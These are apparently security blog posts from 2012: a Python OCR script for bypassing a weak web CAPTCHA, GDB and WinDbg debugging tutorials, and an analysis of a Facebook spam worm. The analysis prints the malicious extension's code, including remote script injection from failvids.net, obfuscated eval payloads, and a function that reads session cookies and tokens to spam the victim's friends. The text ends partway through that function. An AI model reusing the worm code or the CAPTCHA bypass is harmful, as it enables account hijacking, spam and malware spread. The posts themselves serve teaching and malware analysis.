Wednesday, January 25, 2012

Bypass Captcha using Python and Tesseract OCR engine

A CAPTCHA is a type of challenge-response test used in computing as an attempt to ensure that the response is generated by a person. The process usually involves one computer (a server) asking a user to complete a simple test which the computer is able to generate and grade.The term "CAPTCHA" was coined in 2000 by Luis von Ahn, Manuel Blum, Nicholas J. Hopper, and John Langford (all of Carnegie Mellon University). It is an acronym based on the word "capture" and standing for "Completely Automated Public Turing test to tell Computers and Humans Apart".

In this post I am going to tell you guys how to crack weak captcha s using python and Tesseract OCR engine.Few days back I was playing around with an web application.The application was using a captcha as an anti automation technique when taking users feedback.

First let me give you guys a brief idea about how the captcha was working in that web application.
Inspecting the captcha image I have found that the form loads the captcha image in this way:
<img src="http://www.site.com/captcha.php"> 
From this you can easily understand that the “captcha.php” file returns an image file.
If we try access the url http://www.site.com/captcha.php each and every time it generates an image with a new random digit.
To make this clearer to you, Let me give you an example
Suppose after opening the feedback form you got few text fields and a captcha.Suppose at a certain time the captcha loaded with a number for ex. "4567".
So if you use that code "4567" the form will be submitted successfully.

Now the most interesting thing was if you copy the captcha image url (which is http://www.site.com/captcha.php in this case) and open the image in new tab of same browser ,the cpatcha will load with a different number as I have told you earlier. Suppose you have got "9090" this time. Now if you try to submit the feedback form with the number that’s was loaded earlier with the feedback form( which was "4567" )the application will not accept that form. If you enter “9090” then the application will accept that form.
For more clear idea I have created this simple Fig.


Now my strategy to bypass this anti automation techniques was
1)Download the image only from 
http://www.site.com/captcha.php 
2)Feed that image to OCR Engine
3)Craft an http POST request with all required parameter and the decoded captcha code, and POST it.

Now what is happening here??

When you are requesting the image file, the server will do steps 1 to 5 as shown in figure.
Now when we are posting the http request, the server will match the received captcha code with the value that was temporarily stored. Now the code will definitely match and server will accept the form.

Now I have used this Python Script to automated this entire process.

Here I am only posting code of OCR engine. If your are a python lover like me you can use "httplib" python module to do the rest part.This script is not idependent. pytesser python module is requred to run this script.PyTesser is an Optical Character Recognition module for Python. It takes as input an image or image file and outputs a string.
PyTesser uses the Tesseract OCR engine, converting images to an accepted format and calling the Tesseract executable as an external script.

You can get this package @ http://code.google.com/p/pytesser/
from PIL import Image
import ImageEnhance
from pytesser import *
from urllib import urlretrieve

def get(link):
    urlretrieve(link,'temp.png')

get('http://www.site.com/captcha.php');
im = Image.open("temp.png")
nx, ny = im.size
im2 = im.resize((int(nx*5), int(ny*5)), Image.BICUBIC)
im2.save("temp2.png")
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")

img = Image.open('temp2.png')
img = img.convert("RGBA")
pixdata = img.load()
for y in xrange(img.size[1]):
    for x in xrange(img.size[0]):
        if pixdata[x, y] != (0, 0, 0, 255):
            pixdata[x, y] = (255, 255, 255, 255)
img.save("input-black.gif", "GIF")
im_orig = Image.open('input-black.gif')
big = im_orig.resize((116, 56), Image.NEAREST)
ext = ".tif"
big.save("input-NEAREST" + ext)
image = Image.open('input-NEAREST.tif')
print image_to_string(image)


The script works in this way.
1)First the script will download the captcha image using python module "urlretrive"
After that It will try to clean backgroug noises.

2)When this is done the script will make the image beigger to better understading.
3)At last it will feed that processed image to OCR engine.
Here is another python script which is very useful while testing captchas.You can add these line to your script if the taget captcha image is too small.This python script can help you to change resolution of any image.

from PIL import Image
import ImageEnhance

im = Image.open("test.png")
nx, ny = im.size
im2 = im.resize((int(nx*5), int(ny*5)), Image.BICUBIC)
im2.save("final_pic.png")
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")

Thanks for reading.I hope It was helpful.Feel free to share and drop comments.

Friday, January 13, 2012

Basic Reverse Engineering with GDB


In computers, debugging is the process of locating and fixing or bypassing bugs (errors) in computer program code or the engineering of a hardware device.Debugging is the Fundamentals part of Exploit Development .When you are writing an exploit you are going to need to be able to execute the code in your target application in a variety of different ways, to give you the appropriate amount of control to monitor the code and memory closely when needed. You may want to run normally at one point, to go step by step through each individual instruction at another, and sometimes to have it run quickly to a particular point allowing you to take control once that point is reached.
Luckily, this is all possible via the use of a debugger by using breakpoints as well as the various methods for stepping through code.In this article will try to describe most common features of GDB.First we will take a simple C program.Compile it, And after that break it with GDB.


GDB, the GNU Project debugger, allows you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed.

GDB can do four main kinds of things (plus other things in support of these) to help you catch bugs in the act:

Start your program, specifying anything that might affect its behavior.
Make your program stop on specified conditions.
Examine what has happened, when your program has stopped.
Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another.


After some basic debugging we will use some portable Linux based tools to gather more information about a Linux Executable.


So here we will debug this simple C program using gdb.

#include<stdio.h>
#include<wchar.h>
int my_function(wchar_t *a)
{
        return wprintf(a);
}
int main()
{
        return my_function(L"Hello World!\n");
}

First of all we will use gcc compiler to compile the C prog.

debasish@debasish-desktop:~$ nano MYprog.c
debasish@debasish-desktop:~$ gcc -o MYprog MYprog.c
MYprog.c:2:18: warning: extra tokens at end of #include directive
debasish@debasish-desktop:~$
debasish@debasish-desktop:~$ ./MYprog
Hello World!
debasish@debasish-desktop:~$ ^C



So we have successfully compiled our C program and its working fine.

Now we will debug this program with gdb debugger.We will use following commands.

debasish@debasish-desktop:~$ gdb MYprog
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/debasish/MYprog...(no debugging symbols found)...done.
(gdb)


So now gdb will load the program and at entry point it will pause the execution.
Then we will use the command "start" to start the debugging process.

(gdb) start
Temporary breakpoint 1 at 0x804841a
Starting program: /home/debasish/MYprog

Temporary breakpoint 1, 0x0804841a in main ()
(gdb)

We can see that is showing the break point  is at 0x0804841a.

Now we will use the command "layout asm" to see the assembly code in a proper order.

Now you should get a window like this.




0x804841a                   and    $0xfffffff0,%esp                                                                                      

   ¦0x804841d               sub    $0x10,%esp                                                                                          

   ¦0x8048420               movl   $0x80484f0,(%esp)                                                                                     

   ¦0x8048427              call   0x8048404                                                                                

   ¦0x804842c              leave                                                                                                        

   ¦0x804842d              ret                                                                                                          

   ¦0x804842e                       nop                                                                                                          

   ¦0x804842f                       nop                                                                                                          

   ¦0x8048430 <__libc_csu_fini>     push   %ebp                                                                                                 

   ¦0x8048431 <__libc_csu_fini+1>   mov    %esp,%ebp                                                                                             

   ¦0x8048433 <__libc_csu_fini+3>   pop    %ebp                                                                                                  

   ¦0x8048434 <__libc_csu_fini+4>   ret                                                                                                          

   ¦0x8048435                       lea    0x0(%esi,%eiz,1),%esi                                                                                 

   ¦0x8048439                       lea    0x0(%edi,%eiz,1),%edi                                                                                 

   ¦0x8048440 <__libc_csu_init>     push   %ebp                                                                                                  

   ¦0x8048441 <__libc_csu_init+1>   mov    %esp,%ebp                                                                                             

   ¦0x8048443 <__libc_csu_init+3>   push   %edi                                                                                                  

   ¦0x8048444 <__libc_csu_init+4>   push   %esi                                                                                                  

   ¦0x8048445 <__libc_csu_init+5>   push   %ebx    



Now in extreme left side the address shown, is the virtual address. The ">" sign indicates that the Break point is at 0x804841a.Which is our main function.


The first instruction is 
sub    $0x10,%esp
This will substructure the 10 from the ESP.
Next move instruction takes the value $0x80484f0 and put it in stack.We all know that Stack grows downward in memory!
Now more interestingly if you look at the 2nd line of the code you can see $0x80484f0 is the starting address of the string Hello World.
To validate that we can use this command.

(gdb) printf "%s\n",0x80484f0

Now it will return the first character of our string that is a H.
One thing to note that GDB cant print wide character to it will just return "H".

Now its obvious that adding 4 with this we will get our next character.



And adding more bytes will give our full string "Hello World"

Now step by step execution of assembly instructions is very important while trying to understand flow of any program.We can do this using "si" command."si" stands for "step into". When si is entered gdb will execute the next instruction just after break point.

Cont is another gdb command which can be used to run rest of the instructions at a time.

Now when playing with debugger its very important that at the same time you look at the status of the stack and registers.In interactive disassembler like Immunity,Olly debug in windows you can just easily monitor them.But for a command line debugger it will be not that easy.
At any point of time when you wanna check any register content you can do this just by using the command "print"
so to check the value at which EAX is pointing we have to enter 

"print $eax"







There are more in gdb. Hopefully I will write another article on it.
One other tool that can be very useful for  reverse engineering Linux based prog is "hexdump"

Use the hexdump tool with -C option will dump raw hex dump of executable.Which we usually get at the lower left corner in case of Immunity debugger or Ollydebug.

Now if you wanna see first 16 bytes of the executable then you can use the option -n.

For example 

hexdump -C -n 16 MYprog

This will print the header part of executable.
The command "file" also can be used to retrieve some useful information about any executable.

readelf -h Myprog

This command will give the header information of this executable in detail.This will also retrieve the program entry pint.



ndisasm is another cool tool comes with Ubuntu using that you can actually disassemble the binary.
ndisasm -u -o 0x[entry-point] -e 0x320 MYprog | less

the option -e will escape fist 320 bytes.Which is nothing but the header part.



But if you notice you can see this is not the code we have just seen in gdb.

The reason is it the entry point.The code present here is used by the application for setting up the stack.

Now after this following instructions when stack is already configured ,if we jump at the address 0x8048358 we can have the assembly code we just saw in gdb.

08048395  51                push ecx
08048396  56                push esi
08048397  6817840408        push dword 0x8048417
0804839C  E8B7FFFFFF        call dword 0x8048358







Look at the screen shot [red marked]. After the NOP sleds we can see the codes we have just seen in gdb.

It was the most fundamental of debugging linux application.I hope it was helpful.I will try to write more on gdb later on.

A Meeting with Dr. Watson(Debugging Dead Locks)

Dr. Watson is an application debugger included with the Microsoft Windows operating system. It may be named drwatson.exe, drwtsn32.exe or dwwin.exe, depending on the version of Windows.Dr. Watson for Windows is a program error debugger that gathers information about your computer when an error (or user-mode fault) occurs with a program.Dr. Watson creates a text file that is Drwtsn32.log.

By default, the log file created by Dr. Watson is named Drwtsn32.log and is saved in the following location:
drive:\Documents and Settings\All Users.WINNT\Application Data\Microsoft\Dr Watson
Virtual Memory
On Windows NT and above the memory is divided into two parts, the user mode and the kernel mode. What differentiates user mode from kernel mode is the privilege level. The primary memory restriction placed on user-mode programs is that they cannot access any of the kernel-mode memory.

Although a user-mode program can try to directly communicate with a hardware device, the system prevents it from doing so. You probably have seen the result of such an attempt, the point where Dr. Watson pops up.
A kernel-mode component must determine whether an exception is the result of a legal or an illegal operation; when a kernel-mode component catches an illegal exception, it notifies the Dr. Watson user-mode application.

kernel-mode device drivers and subsystems can almost do anything they want. This lack of protection also emphasize the need to take care when loading a third-party device driver, because once in kernel mode the software has complete access to all OS data.
To configure Dr. Watson, follow these steps:
Click Start, and then click Run.
Type drwtsn32, and then click OK.
Types of Memory Dump Files

When Stop errors occur, the system automatically dumps the contents of its RAM to the paging file, and then writes the pagefile contents to the systemdrive root by default. Analyzing the dump file can help provide more information about the root cause of a problem.

Small memory dump
Small memory dump files contain the least information, but consume the least disk space, 64 kilobytes (KB). Small memory dump files are sometimes referred to as "mini" dump files.

Kernel memory dump
This is an intermediate size dump file that records only kernel-level memory and can occupy several megabytes (MB) of disk space. When a Stop error occurs, Windows saves a kernel memory dump file to a file named systemroot\Memory.dmp and create a small memory dump file in the systemroot\Minidump folder

Complete memory dump
A complete memory dump file contains the entire contents of physical memory when the Stop error occurred. The file size is equal to the amount of physical memory installed plus 1 MB.
When a Stop error occurs, the operating system saves a complete memory dump file to a file
named systemroot\Memory.dmp and creates a small memory dump file in the systemroot\Minidump folder.

How to generate a memory dump file using Dr.Watson:

Register Dr.Watson as the default debugger in the operating system:

Go to Start > Run > type drwtsn32 -i and press Enter.

Check that the program has been successfully registered as the default debugger and click OK.

Configure Dr.Watson:

Go to Start > Run > type drwtsn32 and press Enter to start Dr.Watson.

Select a folder for saving log file in the Log File Path field, e.g. С:\drwtsn.

Select the same folder in the Crash Dump field.

Select Full in the Crash Dump Type section.

Click OK.


Check that the full dump file has been successfully generated.


DeadLock Situation

A deadlock is a situation in which two computer programs sharing the same resource are effectively preventing each other from accessing the resource, resulting in both programs ceasing to function.

Program 1 requests resource A and receives it.
Program 2 requests resource B and receives it.
Program 1 requests resource B and is queued up, pending the release of B.
Program 2 requests resource A and is queued up, pending the release of A.


Now neither program can proceed until the other program releases a resource. The operating system cannot know what action to take. At this point the only alternative is to abort (stop) one of the programs.

Debugging Dead Lock Situation with Windump:

When you reach a deadlock, the PC appears to hang. With a userdump you can get the information to resolve this problem.

WinDbg !locks command will examine process critical section list and display all locked critical sections, lock count and thread id of current critical section owner.

0:000> !locks
CritSec NTDLL!LoaderLock+0 at 784B0348
LockCount          4
RecursionCount     1
OwningThread       624
EntryCount         6c3
ContentionCount    6c3
*** Locked

CritSec LOCALSPL!SpoolerSection+0 at 76AB8070
LockCount          3
RecursionCount     1
OwningThread       1c48
EntryCount         646
ContentionCount    646
*** Locked

If we look at threads #624 and #1c48 we could see them mutually waiting for each other:
If we look at threads #624 and #1c48 we could see them mutually waiting for each other:

TID#624 owns CritSec 784B0348 and is waiting for CritSec 76AB8070

TID#1c48 owns CritSec 76AB8070 and is waiting for CritSec 784B0348


0:000>~*kv

. 12 Id: bc0.624 Suspend: 1 Teb: 7ffd3000 Unfrozen
0000024c 00000000 00000000 NTDLL!ZwWaitForSingleObject+0xb
76ab8000 76a815ef 76ab8070 NTDLL!RtlpWaitForCriticalSection+0×9e
76ab8070 76a844f8 00cd1f38 NTDLL!RtlEnterCriticalSection+0×46
00cd1f38 76a8a1d7 00000000 LOCALSPL!EnterSplSem+0xb
00000000 00000000 00cd1f38 LOCALSPL!FindSpoolerByNameIncRef+0×1f
00000000 777f19bc 00000001 LOCALSPL!LocalGetPrinterDriverDirectory+0xe
00000000 777f19bc 00000001 spoolss!GetPrinterDriverDirectoryW+0×59
00000000 777f19bc 00000001 spoolsv!YGetPrinterDriverDirectory+0×27
00000000 777f19bc 00000001 WINSPOOL!GetPrinterDriverDirectoryW+0×7b
50000000 00000001 00000000 BRHLUI04+0×14ea
50002ea0 50000000 00000001 BRHLUI04!DllGetClassObject+0×1705
00000000 00000000 000cb570 NTDLL!LdrpRunInitializeRoutines+0×1df
000cc8f8 0288ea30 0288ea38 NTDLL!LdrpLoadDll+0×2e6
000cc8f8 0288ea30 0288ea38 NTDLL!LdrLoadDll+0×17)
000c1258 00000000 00000008 KERNEL32!LoadLibraryExW+0×231
000c150c 0288efd8 00000000 UNIDRVUI!PLoadCommonInfo+0×17e
000c150c 0288efd8 00000007 UNIDRVUI!DwDeviceCapabilities+0×1a
00070000 00071378 00000045 UNIDRVUI!DrvDeviceCapabilities+0×19

. 13 Id: bc0.1c48 Suspend: 1 Teb: 7ffd2000 Unfrozen
0000010c 00000000 00000000 NTDLL!ZwWaitForSingleObject+0xb
784b0301 78468d38 784b0348 NTDLL!RtlpWaitForCriticalSection+0×9e
784b0348 74fb4344 00000000 NTDLL!RtlEnterCriticalSection+0×46
74fb0000 02c0f2a8 00000000 NTDLL!LdrpGetProcedureAddress+0×122
74fb0000 02c0f2a8 00000000 NTDLL!LdrGetProcedureAddress+0×17
74fb0000 74fb4344 02c0f449 KERNEL32!GetProcAddress+0×41
017924b0 00000000 00000001 ws2_32!CheckForHookersOrChainers+0×1f
00000101 02c0f344 017924b0 ws2_32!WSAStartup+0×10f
00cdf79c 02c0f4f4 76a8c9bc LOCALSPL!GetDNSMachineName+0×1e
00000000 76a8c9bc 780276a2 LOCALSPL!GetPrinterUrl+0×2c
0176f570 ffffffff 01000000 LOCALSPL!UpdateDsSpoolerKey+0×322
0176f570 76a8c9bc 01792b90 LOCALSPL!RecreateDsKey+0×50
00000000 00000002 01792b90 LOCALSPL!SplAddPrinter+0×521
01791faa 0176a684 76a5cd34 WIN32SPL!InternalAddPrinterConnection+0×1b4
01791faa 02c0fa00 02c0fabc WIN32SPL!AddPrinterConnectionW+0×15
00076f1c 02c0fabc 01006873 spoolss!AddPrinterConnectionW+0×49
00076f1c 00000001 77107fb0 spoolsv!YAddPrinterConnection+0×17
00076f1c 02020202 00000001 spoolsv!RpcAddPrinterConnection+0xb
01006868 02c0fac0 00000001 rpcrt4!Invoke+0×30
00000000 00000000 000d22c8 rpcrt4!NdrStubCall2+0×655
000d22c8 00076fe0 000d22c8 rpcrt4!NdrServerCall2+0×17
010045fc 000d22c8 02c0fe0c rpcrt4!DispatchToStubInC+0×32
0000002b 00000000 02c0fe0c rpcrt4!RPC_INTERFACE::DispatchToStubWorker+0×100
000d22c8 00000000 02c0fe0c rpcrt4!RPC_INTERFACE::DispatchToStub+0×5e
000d3210 00076608 813b0013 rpcrt4!LRPC_SCALL::DealWithRequestMessage+0×1dd
000d21d0 02c0fe50 000d3210 rpcrt4!LRPC_ADDRESS::DealWithLRPCRequest+0×10c
770c9ad0 00076608 770cb6d8 rpcrt4!LRPC_ADDRESS::ReceiveLotsaCalls+0×229
00076608 770cb6d8 0288f9a8 rpcrt4!RecvLotsaCallsWrapper+0×9
00074a50 02c0ffec 77e7438b rpcrt4!BaseCachedThreadRoutine+0×11f
00076e68 770cb6d8 0288f9a8 rpcrt4!ThreadStartRoutine+0×18
770d1c54 00076e68 00000000 KERNEL32!BaseThreadStart+0×52

The command kv. reveals the function callback stack for the thread that was active at the time of the trip. This stack is read from bottom to top: the topmost function is the last function to be called and the bottommost function is the first function to be called for this thread.

Once you locate the thread, you see it has a call to the WaitForCriticalSection function, which means that not only does it have a lock, but it is also waiting for an object that is locked by something else. You can find out what is locking the object by looking at the first parameter of the WaitForCriticalSection call.

References:
http://www.cs.rpi.edu/academics/courses/fall04/os/c10/
http://en.wikipedia.org/wiki/Deadlock
http://windbg.info/download/doc/pdf/WinDbg_cmds.pdf

Monday, December 19, 2011

The truth behind "Yeah!! It happens on television!!"(A Facebook Spam)

Facebook spamming is increasing day by day and these days its becoming home for spammers.Latest one is a video spam titled [Video] Yeah!! It happens on television posing some funny pornographic content to attract the users of Facebook.In this article I am going to reveal how this spam/virus (whatever you say) works and how can you protect yourself from this.


Warning:I did this inside a security sandbox.If you want to do the same experiment,I request you to do inside a security sandbox.Before doing this clear all your browser data(Cookies,Cache etc etc.).

So the attack scenario is like this:
You saw one of your friends status like,

It can happen to anyone! I dare you can watch this.

Lol Checkout this video its very embracing moment for Her.

blah..
blah..
blah..


Once you click on the malicious link,Sometime it may ask you to share it with your friends before you can watch. Here lies the first trap.

Once you share it,it will take you to following web page:
It may vary but in my case it was hwuheuwhewew.blogspot.com

When the page will fully load the you get a message "Divx Missing Plugin".


When you click on "Install plugin" button you will be asked to download a plugin before you can watch the video. The plugin is "youtube premium plugin".(The main virus)




As you install the extension the video will automatically shared on your wall and will get notified to all of the friends in your profile.

So if we look at the source code of that page or using firebug,we can see many lines of code but only following is very important.

<iframe allowtransparency='true' frameborder='0' height='305' id='player_iframe' name='player_iframe' scrolling='no' src='http://failvids.net/yt/plugin.html' width='577'></iframe>



From this its clear that the its loading the link 'http://failvids.net/yt/plugin.html' inside an iframe.

So opening that link http://failvids.net/yt/plugin.html main browser i found some interesting lines of code.




<center><span style="font-size:30px;font-weight:bold;text-decoration:underline;">Divx-Plugin Missing</span></center>

                <ol>
                You do not have the plugin required to view the video<br><br>
                    <li>Install Youtube Premium plugin<br><br><a onclick="instalar();" class="install nomargin"></a></li>
                    <li>Then Reload this page by pressing F5</li>
                </ol>

From this above code we can see when a user clicks on [Install Plugin] button that will trigger JavaScript Event onclick() and as a result the JS finction installer() will be called.

Now if you go little but up side of the source code of the page you can see following lines of code.

<script>
                var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
                var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;
                function instalar(){
if (is_chrome){
                        window.open("http://failvids.net/yt/youtube.crx");
                    } 
                     else if(is_firefox){
                        var params = {
                            "Youtube Extension": {
                                URL: "http://failvids.net/yt/youtube.xpi",
                                toString: function () { return this.URL; }
                            }
                        };
                        InstallTrigger.install(params);
                    } else{
                         window.open("http://failvids.net/yt/video.php");
                    }
                }
if(!is_chrome && !is_firefox )
                window.location="http://failvids.net/yt/video.php";
            </script>

From this code we can see the JavaScript Code is trying to identify the users browser using "navigator.userAgent."

After that we have got our function installer()as i have mentioned earlier.
Inside this function you can see its checking if the users browser is chrome then it will take the user to "http://failvids.net/yt/youtube.crx"

And if the browser is Firefox it will take the user to this url. "http://failvids.net/yt/youtube.xpi"

Now do you know what is .xpi and .crx file.??

Well An XPI file is a Mozilla/Firefox Browser Extension Archive file. and .CRX file is Chrome Browser Extension Archive file.

Whatever Firefox add on or chrome extension you use it comes in .xpi or .crx package.If you open that file in the same browser you will not be able to understand.You will just get a window like this.


My next target was to download those extension package files to know the functionality .But the main problem when downloading Browser Extension main package file is,you cannot download it in the same browser.And you should not try because its very risky.
If any attacker somehow bypassed the the browser security then the Add -one will be installed without your permission.(Its not new in Internet History!)

So its better to use any download manager.After downloading those files i have decided to break the .crx file which is for Google chrome.

Breaking .CRX file.

Unpacking the .crx file of .xpi file is not a big deal.Just rename the youtube.crx file to youtube.rar and unpack it using winrar.

So after unpacking that file i found follwing files

1) Chrome.mainfest
2) go.js
3) mainfest.jsom
4) And some icons.



The main code for this malicious extension file is in "go.js" file.
Source of "go.js" is like :

loadScript_you();
function loadScript_you() {
if ('https:' == document.location.protocol) return false;
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://failvids.net/yt/script.js");
var head=document.getElementsByTagName("head")[0];
if( head==null) return false;
head.appendChild(s);
return true;
}

From this we can see its fetching remote scripts from location

http://failvids.net/yt/script.js

I tried to access http://failvids.net/yt/script.js and found following lines of code.The server was very slow but after waiting 4-5 min i got this.

function addScript() {
var s = document.createElement('script');
s.setAttribute("type", "text/javascript");
s.setAttribute("src", "http://failvids.net/yt/extra.js");
var a = document.getElementsByTagName('script')[0];
if (a == null) return false;
a.appendChild(s);
return true
}
addScript();

You can see the function "addScript()" is also fetching an external JavaScript file

http://failvids.net/yt/extra.js

The main code was in "extra.js" file and it looks like this.

eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,101,110,99,104,117,108,97,116,117,70,66,40,41,32,123,10,32,32,32,32,118,97,114,32,105,102,114,97,59,10,32,32,32,32,105,102,32,40,108,111,99,97,116,105,111,110,46,104,114,101,102,46,109,97,116,99,104,40,47,57,56,102,98,118,105,100,101,111,47,103,105,41,32,124,124,32,108,111,99,97,116,105,111,110,46,104,114,101,102,46,109,97,116,99,104,40,47,57,56,102,98,118,105,100,101,111,47,103,105,41,41,32,123,10,32,32,32,32,32,32,32,32,105,102,114,97,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,108,105,102,114,97,109,101,39,41,10,32,32,32,32,32,32,32,32,105,102,32,40,105,102,114,97,32,33,61,32,110,117,108,108,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,105,102,114,97,46,105,110,110,101,114,72,84,77,76,32,61,32,39,60,105,102,114,97,109,101,32,105,100,61,34,99,104,97,110,103,101,34,32,119,105,100,116,104,61,34,53,48,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,102,97,105,108,118,105,100,115,46,110,101,116,47,121,116,47,118,105,100,101,111,46,112,104,112,34,32,104,101,105,103,104,116,61,34,51,48,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62,39,10,32,32,32,32,32,32,32,32,125,59,10,32,32,32,32,125,32,101,108,115,101,32,105,102,32,40,108,111,99,97,116,105,111,110,46,104,114,101,102,46,109,97,116,99,104,40,47,98,108,111,103,115,112,111,116,47,105,41,41,32,123,10,32,32,32,32,32,32,32,32,105,102,114,97,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,108,105,102,114,97,109,101,39,41,10,32,32,32,32,32,32,32,32,105,102,32,40,105,102,114,97,32,33,61,32,110,117,108,108,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,115,101,108,102,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,102,97,105,108,118,105,100,115,46,110,101,116,47,121,116,47,118,105,100,101,111,46,112,104,112,34,59,10,32,32,32,32,32,32,32,32,125,59,10,32,32,32,32,125,10,32,32,32,10,125,10,101,110,99,104,117,108,97,116,117,70,66,40,41,59))

eval(function (p, a, c, k, e, r) {
    e = function (c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function (e) {
            return r[e]
        }];
        e = function () {
            return '\\w+'
        };
        c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('e 4(){1 a=2.8(\'c\')[0];6(a==7)3 9;1 b=2.d("5");b.f="g://h.i.j/k/l.m";b.n="0";b.o="0";b.p="0";a.q(b);3 r}4();', 28, 28, '|var|document|return|load|img|if|null|getElementsByTagName|false|||body|createElement|function|src|http|whos|amung|us|swidget|acgflhphtsib|gif|width|height|border|appendChild|true'.split('|'), 0, {})) //eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('40="20";8(41.31.46(/^5:\\/\\/(9\\.)?45\\.14/47)){6 3=2["16"]("18");3.12="5://43.3.11/23/44.23.24";3.22="25/21";3.19=17(){6 15=2.35("34")[0];8(15==33)32 30;6 4=2.16("36");4.12="5://37.39.38/42/55.60";4.61="0";4.57="0";4.48="0";15.13(4);6 7=2["16"]("18");7.12="5://9.26.11/14/27.28/50.24?49="+51;7.22="25/21";7.19=17(){8(54=="20"){6 10=2.59("53");8(10==33){32 30}10.52[1].31="5://9.26.11/14/27.28/?56=58"}};2.29.13(7)};2.29.13(3)}',10,62,'||document|hashemian|ss|http|var|clcl|if|www|objobj|com|src|appendChild|cl|oo|createElement|function|script|onload|no|javascript|type|js|php|text|hardtrons|C8AA27305BBB4AD7B769656766711E4BC8AA27305BBB4AD7B769656766711E4B|asp|head|false|href|return|null|body|getElementsByTagName|img|whos|us|amung|VIH_DisplayOnPage|location|swidget|scripts|visitorIPHOST|bancoestado|match|i|border|ip|get|VIH_HostIP|children|side2|analisis|viri20111|STP|height|login|getElementById|gif|width'.split('|'),0,{}))

function readCookie(a) {
    var b = a + '=';
    var c = document['cookie']['split'](';');
    for (var d = 0; d < c['length']; d++) {
        var e = c[d];
        while (e['charAt'](0) == ' ') {
            e = e['substring'](1, e['length']);
        }
        if (e['indexOf'](b) == 0) {
            return e['substring'](b['length'], e['length']);
        }
    }
    return null;
}

function setCookie(nombre, valor, caducidad) {
    var expireDate = new Date()
    expireDate.setDate(expireDate.getDate() + caducidad);
    document.cookie = nombre + "=" + escape(valor) + "; expires=" + expireDate.toGMTString() + "; path=/";
}

function getRandomInt(a, b) {
    return Math['floor'](Math['random']() * (b - a + 1)) + a
}

function randomValue(a) {
    return a[getRandomInt(0, a['length'] - 1)]
}

function fb_comparte() {
    var user_id = readCookie('c_user');
    var uid = user_id;
    if (document['getElementsByName']('post_form_id')[0] == null || document['getElementsByName']('fb_dtsg')[0] == null) return false;
    var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
    var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
    var video_url = ['http://anuerherhee.blogspot.com/','http://doocjhjsuher.blogspot.com/'];
    var domains = ['http://i.imgur.com/b6eRh.jpg'];
    var p0 = ['check this out ... cool ',' This cool ...', 'I like it ..'];
    var p1 = ['check this out ... cool ',' Ehey ',' Hey ',' Hey! ',' about ',' Hello! ',' Look! ',' That last ',' Amazing!'];
    var p2 = ['u wont believe! ',' check the sad post ',' haha can happen to anyone!'];
    var p3 = [' I dare you can watch this . '];
    var message = '';
    var a;
    gf = new XMLHttpRequest();
    gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=' + uid + '&' + Math['random'](), false);
    gf['send']();
    if (gf['readyState'] != 4) {} else {
        data = eval('(' + gf['responseText']['substr'](9) + ')');
        if (data['error']) {
            return false;
        } else {
            a = data;
        }
    }
    var b = a['payload']['entries']['length'];
    if (b > 30) {
        b = 30
    };
    var cook = readCookie("fb_videobor_" + user_id);
    if (cook == "activo") return false;
    message = [randomValue(p1), randomValue(p2), randomValue(p3)]['join'](' ');
    var c = new XMLHttpRequest();
    var d = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
    var title = '[VIDEO] Yeahh!! It happens on Live Television!';
    var summary = 'Lol Checkout this video its very embracing moments for her';
    var imagen = 'http://i.imgur.com/b6eRh.jpg';
